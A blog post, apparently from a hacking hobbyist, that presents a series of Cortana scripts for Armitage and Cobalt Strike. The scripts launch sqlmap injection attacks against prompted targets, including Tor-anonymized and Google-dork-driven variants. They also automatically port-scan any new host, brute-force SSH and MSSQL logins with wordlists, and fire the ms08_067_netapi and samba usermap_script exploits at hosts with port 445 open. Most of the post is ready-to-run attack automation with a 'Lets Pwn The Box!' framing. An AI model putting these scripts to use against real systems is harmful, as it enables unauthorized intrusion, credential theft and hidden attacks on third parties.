Today i work a little bit with Cobalt Strike 21 Days Demo.
Really Great Pentest tool like Armitage http://www.advancedpentest.com/
After some time i found the Script menu into Cobalt Stike,letz google it what we can do with the Script Engine.
After a while a found a great pdf doko about the Contana Script Engine. Download the pdf here cortana_tutorial.pdf
Now letz play with it.
Contana Script Engine Lesson 1
Custom Armitage Menu via Cortana scripts
# Contana-Info Sites Engine v0.1
# Contana Script Engine r0ckz.
# by cr4shyyy
# from http://security-is-just-an-illusion.blogspot.de
menubar("Web ToolKit", "webstuff",2);
popup webstuff {
menu "Info Sites" {
item "Security is just an Illusion" {
url_open("http://security-is-just-an-illusion.blogspot.de/"
);
}
item "TheHackerNews" {
url_open("http://thehackernews.com/");
}
item "Securitytube" {
url_open("http://www.securitytube.net");
}
item "Shodanhq" {
url_open("http://www.shodanhq.com/");
}
item "Exploit-db" {
url_open("http://www.exploit-db.com/");
}
item "1337day" {
url_open("http://1337day.com/");
}
item "Privatepaste" {
url_open("http://privatepaste.com/");
}
item "Hash-cracker.com" {
url_open("http://www.hash-cracker.com/");
}
item "Rainbowtables.it64.com" {
url_open("http://rainbowtables.it64.com/");
}
item "X-attack.net" {
url_open("https://www.x-attack.net/?rtcrack");
}
}
}
Contana Script Engine Lesson 2
Custom Armitage Tor Network Menu via Cortana scripts
# Contana-Tor Network Engine v0.1
# Contana Script Engine r0ckz.
# by cr4shyyy
# from http://security-is-just-an-illusion.blogspot.de
menubar("Web ToolKit", "webstuff",2);
popup webstuff {
menu "Tor Engine" {
item "Start Tor" {
println("\n----------------------------------------\n\c4Starting\c4 Tor-Network\nIP: \c9127.0.0.1:9050\c9 \n----------------------------------------");
$console = console();
$console = open_console_tab("Start Tor NetWork");
cmd($console, "tor");
#sleep(30 * 1000);
db_sync()
}
item "Kill Tor" {
println("\n----------------------------------------\n\c4Stop\c4 Tor-Network\nIP: \c9127.0.0.1:9050\c9 \n----------------------------------------");
$console = console();
$console = open_console_tab("Kill Tor NetWork");
cmd($console, "killall tor");
#sleep(30 * 1000);
db_sync()
}
item "Restart Tor" {
println("\n----------------------------------------\n\c4Restart\c4 Tor-Network\nIP: \c9127.0.0.1:9050\c9 \n----------------------------------------");
$console = console();
$console = open_console_tab("Restart Tor NetWork");
cmd($console, "killall tor && tor");
#sleep(30 * 1000);
db_sync()
}
}
}
Contana Script Engine Lesson 2
Custom Armitage Sqlmap Interface Menu via Cortana scripts
# Contana-Sqlmap Interface Engine v0.1
# Contana Script Engine r0ckz.
# by cr4shyyy
# from http://security-is-just-an-illusion.blogspot.de
# Change Gnome Profile to avoid terminal close after exploit
println("\n----------------------------------------\n\c4[*] Contana-Sqlmap Engine v0.1 Loaded [*] \n----------------------------------------");
menubar("Web ToolKit", "webstuff",2);
popup webstuff {
menu "Sqlmap" {
item "Attack" {
$ip = prompt_text("Target + option --dbs ?");
if
($ip !is $null) {
show_message("Lets Pwn The Box!");
println("\n----------------------------------------\n\c4Attack\c4 with Sqlmap\nIP: \c9$ip\c9 \n----------------------------------------");
$console = console();
cmd($console, "gnome-terminal -x sqlmap --random-agent -u $ip ;bash");
db_sync()
}
}
item "Attack over Tor" {
$ip = prompt_text("Target + option --dbs ?");
if
($ip !is $null) {
show_message("Lets Pwn The Box!");
println("\n----------------------------------------\n\c4Attack\c4 with Sqlmap over Tor-Network\nIP: \c9$ip\c9 \n----------------------------------------");
$console = console();
cmd($console, "gnome-terminal -x sqlmap --random-agent --tor --tor-type=socks4 --tor-port=9050 -u $ip ;bash");
db_sync()
}
}
item "Attack with GDork" {
$ip = prompt_text("Target + option --dbs inurl:gallery.php?id= ?");
if
($ip !is $null) {
show_message("Lets Pwn The Box!");
println("\n----------------------------------------\n\c4Attack\c4 with Sqlmap with google Dorks\nIP: \c9$ip\c9 \n----------------------------------------");
$console = console();
cmd($console, "gnome-terminal -x sqlmap --random-agent -g $ip ;bash");
db_sync()
}
}
item "Attack with GDork over Tor" {
$ip = prompt_text("Target + option --dbs inurl:gallery.php?id= ?");
if
($ip !is $null) {
show_message("Lets Pwn The Box!");
println("\n----------------------------------------\n\c4Attack\c4 with Sqlmap with Google Dorks over Tor-Network\nIP: \c9$ip\c9 \n----------------------------------------");
$console = console();
cmd($console, "gnome-terminal -x sqlmap --random-agent --tor --tor-type=socks4 --tor-port=9050 -g $ip ;bash");
db_sync()
}
}
item "GDorks List" {
url_open("http://pastebin.com/raw.php?i=QFhBYbPw");
}
}
}
Contana Script Engine Lesson 3
Custom Armitage on Host add Auto TCP Port Quick Scan via Cortana scripts
# Contana-Quick-Scan Engine v0.1
# Contana Script Engine r0ckz.
# by cr4shyyy
# from http://security-is-just-an-illusion.blogspot.de
println("\n----------------------------------------\n\c4[*] Contana-Quick-Scan Engine v0.1 Loaded [*] \n----------------------------------------");
# Preform auto scan
on host_add {
sleep(10 * 1000);
println("\n----------------------------------------\n\c4[*] Scanning New Host \nIP : \c9$1\c9\n----------------------------------------");
$console = console();
#$console = open_console_tab("Scanning New Host");
cmd($console, "use auxiliary/scanner/portscan/tcp");
cmd($console, "set THREADS 100");
cmd($console, "set PORTS 21, 22, 23, 25, 80, 110, 143, 443, 445, 1433, 3306, 4899, 5800, 5801, 8080");
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
cmd($console, "use auxiliary/scanner/discovery/udp_sweep");
cmd($console, "set THREADS 100");
cmd($console, "set BATCHSIZE 256");
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
#sleep(30 * 1000);
db_sync();
}
on service_add_21 {
println("\n----------------------------------------\n\c4[*] FTP-SERVER FOUND \nIP : \c9$1\c9\nPort : 21 Open\n----------------------------------------");
}
on service_add_22 {
println("\n----------------------------------------\n\c4[*] SSH-SERVER FOUND \nIP : \c9$1\c9\nPort : 22 Open\n----------------------------------------");
}
on service_add_23 {
println("\n----------------------------------------\n\c4[*] TELNET-SERVER FOUND \nIP : \c9$1\c9\nPort : 23 Open\n----------------------------------------");
}
on service_add_25 {
println("\n----------------------------------------\n\c4[*] SMTP-SERVER FOUND \nIP : \c9$1\c9\nPort : 25 Open\n----------------------------------------");
}
on service_add_80 {
println("\n----------------------------------------\n\c4[*] WEB-SERVER FOUND \nIP : \c9$1\c9\nPort : 80 Open\n----------------------------------------");
}
on service_add_110 {
println("\n----------------------------------------\n\c4[*] POP3-SERVER FOUND \nIP : \c9$1\c9\nPort : 110 Open\n----------------------------------------");
}
on service_add_143 {
println("\n----------------------------------------\n\c4[*] IMAP-SERVER FOUND \nIP : \c9$1\c9\nPort : 143 Open\n----------------------------------------");
}
on service_add_443 {
println("\n----------------------------------------\n\c4[*] HTTPS-SERVER FOUND \nIP : \c9$1\c9\nPort : 443 Open\n----------------------------------------");
}
on service_add_445 {
println("\n----------------------------------------\n\c4[*] MICROSOFT-DS-SERVER FOUND \nIP : \c9$1\c9\nPort : 445 Open\n----------------------------------------");
}
on service_add_1433 {
println("\n----------------------------------------\n\c4[*] MS-SQL-SERVER FOUND \nIP : \c9$1\c9\nPort : 1433 Open\n----------------------------------------");
}
on service_add_3306 {
println("\n----------------------------------------\n\c4[*] MYSQL-SERVER FOUND \nIP : \c9$1\c9\nPort : 3306 Open\n----------------------------------------");
}
on service_add_4899 {
println("\n----------------------------------------\n\c4[*] RADMIN-SERVER FOUND \nIP : \c9$1\c9\nPort : 4899 Open\n----------------------------------------");
}
on service_add_5800 {
println("\n----------------------------------------\n\c4[*] VNC-SERVER FOUND \nIP : \c9$1\c9\nPort : 5800 Open\n----------------------------------------");
}
on service_add_5801 {
println("\n----------------------------------------\n\c4[*] VNC-SERVER FOUND \nIP : \c9$1\c9\nPort : 5801 Open\n----------------------------------------");
}
on service_add_8080 {
println("\n----------------------------------------\n\c4[*] Shared-Service-SERVER FOUND \nIP : \c9$1\c9\nPort : 8080 Open\n----------------------------------------");
}
# EOF
Contana Script Engine Lesson 4
Custom Armitage on Host add && port 22 found Auto Bruteforce via Cortana scripts
# Brute New Host with SSH Server Ready on it.
# by http://security-is-just-an-illusion.blogspot.de/
# Preform auto msf port scan
# by monstream00
on host_add {
sleep(10 * 1000);
println("[*] msfScanning New Host TCP/UDP on $1");
$console = console();
#$console = open_console_tab("TCP/UDPscan_$1"); #Debug use
cmd($console, "use auxiliary/scanner/portscan/tcp");
cmd($console, "set THREADS 100");
cmd($console, "set PORTS 21, 22, 80, 110, 143, 443, 445, 1433, 3306, 8080");
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
cmd($console, "use auxiliary/scanner/discovery/udp_sweep");
cmd($console, "set THREADS 100");
cmd($console, "set BATCHSIZE 256");
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
#sleep(30 * 1000);
db_sync();
}
on service_add_22 {
println("\n----------------------------------------\n\c4Attempting to bruteforce\c4 SSH-Server\nIP: \c9$1\c9 \n----------------------------------------");
auxiliary("scanner/ssh/ssh_login", @($1), %(
THREADS => '100',
STOP_ON_SUCCESS => '1',
USER_FILE => '/usr/share/metasploit-framework/data/wordlists/unix_users.txt',
PASS_FILE => '/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt'));
}
Brute New Host with MSSQL Server Ready on it
# Brute New Host with MSSQL Server Ready on it.
# by http://security-is-just-an-illusion.blogspot.de/
on service_add_1433 {
println("Attempting to brute force MSSQL-Server |$1|");
auxiliary("scanner/mssql/mssql_login", @($1), %(
USER_FILE => '/opt/framework3/msf3/data/wordlists/unix_users.txt',
PASS_FILE => '/opt/framework3/msf3/data/wordlists/unix_passwords.txt'));
}
Contana Script Engine Lesson 4
Custom Armitage on Host add Auto Exploit via Cortana scripts
# Exploit New Host with microsoft-ds samba with the ms08_067_netapi exploit.
# by http://security-is-just-an-illusion.blogspot.de/
on service_add_445 {
println("[*]Exploiting $1 with ms08_067_netapi sploit (" . host_os($1) . ")");
if (host_os($1) eq "Microsoft Windows") {
exploit("windows/smb/ms08_067_netapi", $1);
}
else {
exploit("multi/samba/usermap_script", $1, $null, $null, 1);
}
}
Now Have pfun with Contana Script Engine ;)
![Beacon A new advance payload for Cobalt Strike_thumb[2]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxL872cv_PE2EhTD0GjdUZ3nZEBRqDkDlaDipOrFcwfOUJfy5ZqSFBR4CFsU12vB8kCmlroTW03UOotrjCIhbaVhxDdpCnKlu3lyAHB53iUnN-FrtRL-XiazHY2cU9uk65jpI9vmiq6KUJ/s1600-h/Beacon%252520A%252520new%252520advance%252520payload%252520for%252520Cobalt%252520Strike_thumb%25255B2%25255D%25255B3%25255D.png "Beacon A new advance payload for Cobalt Strike_thumb[2]"){kind=tracking}
![Kali-2013-11-27-22-02-08_thumb%25255B2%25255D[1]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7UOrfXaiPYKsvMEFY5x_8RecrNxqIaJ5XfryQZmMx6ZuQbh8CnX9FAHChsPP0VifF0gUXZohBBmRLJr8HxULsawi5fG17QP7ndAkMx0gUo4QkBwakTTxguuHsGgqedLkkEUHy6ZYIJP5j/s1600-h/Kali-2013-11-27-22-02-08_thumb%252525255B2%252525255D%25255B1%25255D%25255B13%25255D.png "Kali-2013-11-27-22-02-08_thumb%25255B2%25255D[1]")
![Kali-2013-11-27-22-03-13_thumb%25255B2%25255D[1]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPDx1Zk5jW64iR6YWEvyaBuX0uK9-Ks0YtwJ9CuB1iaUr4hppQ7iYbcfEZ7eKuhKBZVE7Xd1WRxltz8ldbDh5PIDr8cxOm_hXoelKIPg4Zz8WzmsUyMZMd0Hab6k5mswgoYVrB8JnJNPKR/s1600-h/Kali-2013-11-27-22-03-13_thumb%252525255B2%252525255D%25255B1%25255D%25255B4%25255D.png "Kali-2013-11-27-22-03-13_thumb%25255B2%25255D[1]")
![Kali-2013-11-27-22-04-38_thumb%25255B4%25255D[1]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhptitUvFrK-rDmI9E2fa8gJqRaXZ1Cn1m19XRh6CPQXLcsVNbFG4TcSAg2HPaHcI4_XiqsrqBKDSD4Ag15N9VkINoIH_ntUAZIX977GJ-z-yq4az9-ph13Eim2mCPJn5Xvdi6MD9XsEsjL/s1600-h/Kali-2013-11-27-22-04-38_thumb%252525255B4%252525255D%25255B1%25255D%25255B4%25255D.png "Kali-2013-11-27-22-04-38_thumb%25255B4%25255D[1]")
![Kali-2013-11-27-22-05-55_thumb%25255B4%25255D[1]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLLrKHEzp3bk5qDFDm1XxJ34JuIJLCnKpB3Xt9vVMHZQkXNe9LZi5EUyUqJ4zcj9r2x5vJoOCKmC17wzf2EW4Ex1_5-AuuN011zxAjgkYU4q5yz6PggDbZ6mMLeBhnAfp3t6Eze66nv7EO/s1600-h/Kali-2013-11-27-22-05-55_thumb%252525255B4%252525255D%25255B1%25255D%25255B5%25255D.png "Kali-2013-11-27-22-05-55_thumb%25255B4%25255D[1]")
![Kali-2013-11-27-22-06-37_thumb%25255B3%25255D[1]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-EzDUnIGA6Vc0NbV3rtvfDdm0XqcnGHCPwkrxPJIeFpP93FTtTq-sWfmwu1TU8mvhNZMTK5UCUEUjHyAiWN1Pmp4m6v5CBTU9PMTx9UKmzuRgXYsX8_782bq9tGj6Hb2pnlrx-VH1SLjT/s1600-h/Kali-2013-11-27-22-06-37_thumb%252525255B3%252525255D%25255B1%25255D%25255B7%25255D.png "Kali-2013-11-27-22-06-37_thumb%25255B3%25255D[1]")
![Kali-2013-11-27-22-20-49_thumb%25255B4%25255D[1]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqjEIzrQvHQSRuF0NmX3QJOpdHSqfXaaXJFT4ZDWzRLSPMors7g9u-HzKdWSovsmaRWg0EDzDxDD3wBxMtsajYiPLlaUAKMV1SszBDBCT4YiUS4NnQhQvvpl5OmQcNRl2GeYVajWZ4vM7W/s1600-h/Kali-2013-11-27-22-20-49_thumb%252525255B4%252525255D%25255B1%25255D%25255B6%25255D.png "Kali-2013-11-27-22-20-49_thumb%25255B4%25255D[1]")
